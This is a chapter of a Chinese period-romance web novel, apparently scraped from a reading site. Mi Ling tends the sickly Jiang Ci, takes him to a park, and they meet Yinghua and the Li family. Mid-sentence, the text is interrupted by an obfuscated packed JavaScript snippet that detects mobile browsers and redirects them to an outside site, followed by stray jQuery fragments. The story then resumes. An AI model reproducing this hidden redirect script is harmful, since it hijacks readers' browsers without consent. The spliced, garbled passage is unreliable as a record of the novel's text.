默认冷灰
24号文字
方正启体

33. 33 甘言疾

作者:苦月颓星本书字数:K更新时间:
    糜岭好几次带姜瓷到百杏林诊脉。但或许是姜瓷身体比较特殊,脉象又乱又杂,英嬅一直没能诊出个所以然来,只好开了几张补气养血的温和药方,嘱咐回去静养。


    大多数时候姜瓷喝不了药,根本闻不得苦味,饭更是吃不下,一碰荤腥就要吐,天天就只能吃些没味道的汤汤水水,原本珠圆玉润的一个,眼见着消瘦下来,镯子都戴不住,总溜溜的要滑出手腕。


    糜岭既不懂医也不能替姜瓷受苦,在一旁干看着,一点儿办法没有,难免着急上火。


    这天晚上他在醉生楼谈生意,喝了点酒,回来得有些晚,家里已经灭了灯。管家听见动静迎出来,报告姜瓷的情况,说他今天尤其没精神,拢共只喝两杯水,刚出笼的云糕咬一口就吐了,呕得浑身发软床都下不了。


    糜岭本来就为了这事儿焦心,现在被酒意一激,更是急躁,二话不说,风风火火就往厨房去,端了还热在锅上的一碗红枣莲子汤,急匆匆回了房间。


    姜瓷佝偻着身子,脸掩在被子里,安安静静地睡着。糜岭坐在床畔叫了他几声,见他没有醒,又轻轻晃他肩膀,他还是一动不动,掀了被子一瞧,他一张脸煞白,死人般的。


    他登时一惊,马上去探他的鼻息,不知是不是心慌意乱的缘故,竟没探着,当下也顾不上了,朝门外吼了声“来人”,又来拍他脸颊试图叫醒他。拍了一下正要拍第二下,忽然姜瓷就睁了眼。


    他朦朦胧胧地瞧见糜岭神色阴沉,紧绷着脸,额前与颈上都爆出青筋来,眼睛恶狠狠瞪着,立刻吓清醒了,惶然间还以为是自己偷钥匙的事情被发现,糜岭来兴师问罪了。


    他颤巍巍地说:“我、我……不是……我不要回山上,我错了……”


    糜岭见他醒了又能说话,虽然像是胡言乱语的梦话,但还是松了口气,要来抱他。可还没碰到他,他就惊叫着往床另一侧爬去,手脚哆哆嗦嗦根本撑不住身体,整个人一下滚落下去,脑袋往床沿一磕,嘭的一声响。


    糜岭呆了一呆,赶忙去扶,把他按在怀里,见他额头股起一个大包,心里又焦灼起来,张口便骂:“跑什么,你跑去哪?折腾来折腾去,还嫌身上的病不够多!”


    姜瓷被他这么一凶,更是惶惑,试着挣了挣,马上就被钳住了手腕。


    “别动!让我看看!”糜岭拨开他额前的头发查看,又摸他的脸,把手掌放他胸口上,默默地数心跳。


    他僵着身子,静了一会儿便开始哭,越哭越大声,上气不接下气,脸憋得青紫。


    糜岭这才软下声哄他:“小宝,好了好了,我太大声了,吓着你了。做噩梦了是不是?怎么叫都叫不醒你,舅舅以为……别哭了宝宝,额头疼不疼?”


    翻来覆去哄了一阵子,姜瓷总算冷静下来,知道是自己误会了,往糜岭肩上一倒,又是昏昏欲睡。


    糜岭瞟一眼那碗早已凉透的红枣莲子汤,轻轻叹了一声,自言自语道:“吃这么少,觉又这么多,还睡得沉,你到底怎么了宝宝。”


    姜瓷掀了掀眼皮看他一眼,抬手捂住脸颊,有些呆滞地喃喃地说了句不相关的话:“你刚才打我脸,你不回家,在外面喝了酒,还打我呜呜……”


    “什么话,我——小宝,姜瓷,姜瓷?”


    糜岭还没来得及辩解,姜瓷蹙着眉,双眼紧闭,眼泪还挂在眼角呢,就已经又睡着了。


    第二天糜岭醒的时候姜瓷已经起床了,搬了藤椅坐在院子里晒太阳。糜岭去找他,竟见他在吃东西,一碗芋头泥已经只剩碗底一点儿了。糜岭尝了一口那芋泥,寡淡得一点儿味道没有,实在咽不下,不知道他怎么吃得这么津津有味。


    手边矮茶几上还放着一盘瓜子和几个蜜饯。糜岭一边剥瓜子一边问他额头还疼不疼。姜瓷抬手摸一摸,也不回话,还在闹别扭。糜岭把好话都说了一遍,将剥好的一把瓜子往他嘴边递。他小鸟儿啄食似的就着他掌心抿瓜子粒儿,终于开口说:“我还要吃。”


    “好,给你剥。”糜岭凑过去亲亲他脸,他一把勾住糜岭脖颈,又软声撒娇道:“我想出去玩。”


    “不行,前几天去见英嬅,才嘱咐你好好休息。”


    “那我今天喝药,喝了药能不能出去?我会很乖的,就到街上走走行不行?”


    “不可以。”


    姜瓷嘴巴一抿,松开他往藤椅上一倒,眨巴几下眼睛就开始掉眼泪,越哭越收不住,捂着心口又气喘起来了。糜岭赶忙叫佣人去倒水来,安抚他说:“好好,别哭了宝宝,我们这就出去,下山也十多天了,一直闷在家里,舅舅忙生意又没能陪你,确实要出去走走,今天天也好,不怎么冷。”


    他喂姜瓷喝了点儿水,抱他回房里换了衣服,坐上车出门。在街上兜了两圈,开到一处公园里,两人下了车散步。


    已经是仲春时节,拂面的风暖软起来,园子里虽还有几株晚梅,可也几乎要败尽了。姜瓷抓了一把飘落的花瓣放在糜岭西服口袋里,坚持要带回去。走到河岸边,一排柳树都抽了芽,隔着一帘在风中游荡的枝条,隐隐绰绰地,能看到有人在湖上泛舟。


    姜瓷眼红,说:“我也想划船。”


    糜岭沉默不语,轻轻抚他的脸颊。他也就知道糜岭不同意了,便说:“那下次,天再热一点的时候,还来玩。”


    “小宝又不会游水,船翻了掉下去——”


    “我知道小舅舅不会让我掉下去的。”


    糜岭无奈笑一笑,道:“好吧宝宝,下次我们来这儿游湖。”


    “等会儿再回去好不好,我还想看他们划船。”


    “我们到另一边没柳树的地方看。”


    走到另一边,视野开阔许多,把整个湖都尽收眼底,湖里一共三只船,船夫摇着桨在喊号子。姜瓷听着,不知怎的,又困倦起来,有些站不住。糜岭就叫司机开了车过来,要带他回去。他又不愿意,先用身体挡着车门,后来整个人又歪倒在车前盖上耍赖,纠缠着糜岭,把他口袋里的花翻出来,泼得他一身都是,见他头发上沾着花瓣的滑稽样子,忍不住吃吃地笑。


    这一阵子糜岭几乎没见过他这样活泼,也就顺了他的意答应再待一会儿。


    两人靠在车上搂搂抱抱正腻歪呢,忽然身后湖上传来一阵歌声,回头一瞧,看到就近的一条游船船尾上,几个大人围坐在小藤桌周围,一个孩子站在他们旁边,就是她在唱歌。


    糜岭只觉得那孩子声音耳熟,再打眼细瞧,原来是吝吝。这时候船上那几个大人也注意到了这边,姜瓷看见一个男人站起身,把礼帽捂在胸前微微朝这儿弯了弯腰,男人头发花白的,是李先生。他一左一右坐着英嬅和李小姐。


    姜瓷勉强回了个笑,垂下眼来,无精打采地打哈欠。


    糜岭附在他耳边说:“累了我们就回去,不和他们打招呼了,上回舅舅也答应过你,不会和李小姐见面。”


    “不……我想和英嬅姐姐说话。”


    于是糜岭便朝李先生挥了挥手。游船划到岸边,那几人陆续上岸。糜岭走过去先抱吝吝下了船,李先生牵着英嬅,英嬅像是被水泼了,有几绺头发都湿淋淋的,身上披着李先生的外套。


    姜瓷深深望她一眼,她便走过来轻声说:“好巧,又碰见了。刚才吝吝调皮,趴在船边玩水,我吓了一跳,以为她要掉下去了,赶忙去拉她,弄得浑身都湿了。”


    姜瓷沉默片刻,低低地应了一声,说:“姐姐当心生病。”


    “嗯,这就回去了。”


    “你到糜公馆去坐坐再走好不好?我叫小舅舅请你们吃晚饭。”


    他说着,抬眼去看岸边。只有李小姐还在船上了,她起身时打了个趔趄,衣服好像被什么勾住了,再一直起身,旗袍嗤啦一下破了,大腿边上开了长长一条口子。她惊慌地叫了一声,又倒回船里。


    李先生的衣服已经给英嬅披着了,糜岭倒还是有外套,可以给李小姐遮一遮。


    姜瓷忽而想起周盛业的那句话:说不定转天糜岭就把好人家女儿娶进了门……李小姐就是好人家的孩子,清清白白的……他低头看一眼自己穿的旗袍,开衩到腿根,比李小姐身上那条扯坏的口子还要大还要裸露。他有些羞囧地低了低头,捏住腿边的开衩,不自在地蹭了蹭腿。再看向那边的时候,糜岭已经把衣服递给李小姐,李小姐拿它遮着腿,终于踉踉跄跄上了岸。


    几人寒暄了一番,坐车回糜公馆。


    一进大门,姜瓷就拉英嬅躲进书房。英嬅坐下来给他诊脉,只是仍没能摸出来什么,便问了问他这几日的身体情况。姜瓷一一告诉她,她皱着眉良久没说话。


    姜瓷见她这幅样子,便懒洋洋地问:“我是不是要死了?”


    英嬅吓了一跳,忙高声道:“胡说!”


    “可是妈妈就是这样的,她最后一段日子也吃不下,还一直睡觉。”


    “你不要乱想,绝对不是。”她瞄一眼桌上一只小算盘,立刻转移了话题:“糜岭教你打算盘么?”


    “嗯,他还教我写字,”他有了些精神,拿起手边一张报纸,“我现在可以自己看报纸,我读一段给你听。”他便磕磕巴巴读了一篇报道,读完了,一抬眼看见书房玻璃门外,吝吝正在院子里跑跑跳跳地玩。


    他便说:“姐姐,李先生知道你有了吝吝,还是想要和你结婚?”


    英嬅轻轻点了点头:“我还没答应。”


    “那你会答应吗?”


    英嬅没有应声。姜瓷敛了敛眉,说:“姐姐,我就算要死了,也还是要走的,我要回上海去。你记得我说的话吗?你如果愿意,可以跟我一起回上海,上海也是很好的地方,不比香港差的。我会很认真地学写字,学算账,到时候我可以找一个工作,姐姐呢,就更容易了,你会医术,不怕没有饭吃。你用不着再看哥哥的眼色,更不用为了钱委屈自己和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831052|175568||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个不喜欢的人在一起,我知道你不喜欢李先生。你会很自由,我也是,自由自在的,不会被关在山上了……”


    英嬅沉默半晌,道:“你走了,让糜岭怎么办呢?”


    “姐姐在说笑话么,我是什么人,他是什么人,难不成他还会和我结婚么?我走了就只是我走了而已,还能怎么样?他现在对我好,还不是因为我的脸和他爱的人一样,我不在,他马上就可以再找一个替身。”


    “小瓷……”英嬅支支吾吾的,给不出回答。


    姜瓷多少明了了她的意思,心里冷冷的,也不再提了,换了个事来说,问:“姐姐,我问你一件事。”


    “什么?”


    “我和……我和李小姐,长得像吗?”


    英嬅诧异地说:“这是什么话,哪里都不像!就算像,糜岭也不会和她攀扯。”


    “哦,是么……”姜瓷重重叹口气,揉了揉心口,又道:“我的心一直好痛,姐姐,你能不能开几味药给我吃?最好不要苦的,我不是不想喝,我真的喝不下苦的东西……”


    英嬅一时分不清他是真的心上出了毛病还是因为糜岭而害了相思病,踌躇良久,抽出纸来写了张药方。恰好糜岭在这时候进来了,说:“聊完了么?吃饭了。”


    英嬅便将药方递给他:“我去叫吝吝。”起身出去了。


    “小宝,快来,”糜岭在门口叫他,“炖了一碗雪梨羹,不想吃还有别的东西。”


    姜瓷看他一眼,撒着娇说:“你端来好不好,我不想动。”


    “好好,端来给你。”糜岭转身出去,和英嬅吝吝一道往餐厅走。英嬅见四下没人,对他说:“你有空带小瓷到西医那儿瞧瞧吧,医院里有那些西洋的仪器,给小瓷查一查到底哪儿不好。他……他刚才问我……”


    “问你什么?”


    “他觉得他要、要……他说他妈妈走前也是这样的。”


    糜岭一下呆住了,顿住脚步往墙上倚了倚,想说话,可嗓子里卡着炭火般的热痛,半晌都没能出声。


    英嬅道:“具体怎么样,我实在说不好,或许也没有那么严重的,你还是要紧带他去医院看看。”


    进到餐厅里,糜岭还是没说话,端了碗便离开了。


    英嬅也没心思吃饭,动了动筷子给吝吝夹菜。李先生见她脸色不好,便问:“怎么一回事?”


    “哦……没什么,就是那一位,不大好了……”


    “确实看着消瘦了不少,是什么病?”


    英嬅摇了摇头。


    这时候李小姐突然地插了话进来,说:“也没有名分么?没名没分死在了这里,岂不叫糜先生为难?”


    英嬅惊诧地瞪起眼睛,脸上顿时铁青。他望一眼李先生,李先生则已是红胀了脸,咬牙切齿地低声骂道:“没规矩的……这种话也讲得出来么!”


    李小姐似是不懂他为什么要生气,无辜地噘一噘嘴,低下头去,摆弄起仍盖在腿上的糜岭的外套来。李先生见状又斥道:“行了!趁早把衣服还回去!”


    “那么叫我光着腿给别人看?!”李小姐委屈地大叫,“我爹妈叫军阀害死了,我孤苦伶仃没有依靠,只能投奔伯父,现在伯父为了自己能结婚,要先把我嫁出去甩了我这个拖油瓶!回回带我去剧院去餐馆都是为了见男人,那些歪瓜裂枣……我凭什么就同意!伯父能选自己喜欢的,我也得嫁一个我自己看中的,要嫁也嫁给——”


    “还不住口,我看你今日是失心疯了!”李先生腾一下站起来,拽着她便往外走。她哭嚷起来。英嬅低眉垂眼静静坐着,给吝吝夹了块肉,心里想,姜瓷会疑心她和糜岭有牵扯,原来不是没有缘由。


    这一边糜岭正在书房喂姜瓷吃梨子羹,听见动静后往外头看了一眼,玻璃门外院子里,李先生拉着李小姐步履匆匆地往外走。姜瓷原本枕在他肩上,嘴里嚼着梨子,已经有些要睡过去,现在睁了睁眼也往外看,只瞧见糜岭那件西服外套掩在李小姐的腿上一下子闪进树丛里去了,衣角跟着一甩,从口袋里飞出许多花瓣来。


    “他们这就走了吗?不吃饭吗?”他问。


    糜岭用手掩了他眼睛:“随他们去吧,宝宝,我们吃完东西睡觉了。”


    “嗯……明天还吃这个,甜甜的,还有瓜子,还想吃。”


    “好,想吃什么都行,瓜子舅舅也给你剥。”


    姜瓷揽住他脖颈靠到他肩上,打了几个哈欠,一瞥眼瞧见他衬衣领子下还卡了几朵梅花瓣。他拈了一片出来揉碎了,盯着指尖上浅浅的一抹红色,轻声说:“阿岭,如果你要结婚,你会告诉我的吧,你要告诉我,我也好知道……知道什么时候起我不能再下山了……”


    “别乱想宝宝,我不结婚,我找谁结婚去呢?舅舅只陪着你,好吗?”


    姜瓷没应声,心口又不舒服起来,胃里也翻腾,可一把眼睛闭上,昏昏沉沉的,意识就模糊了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)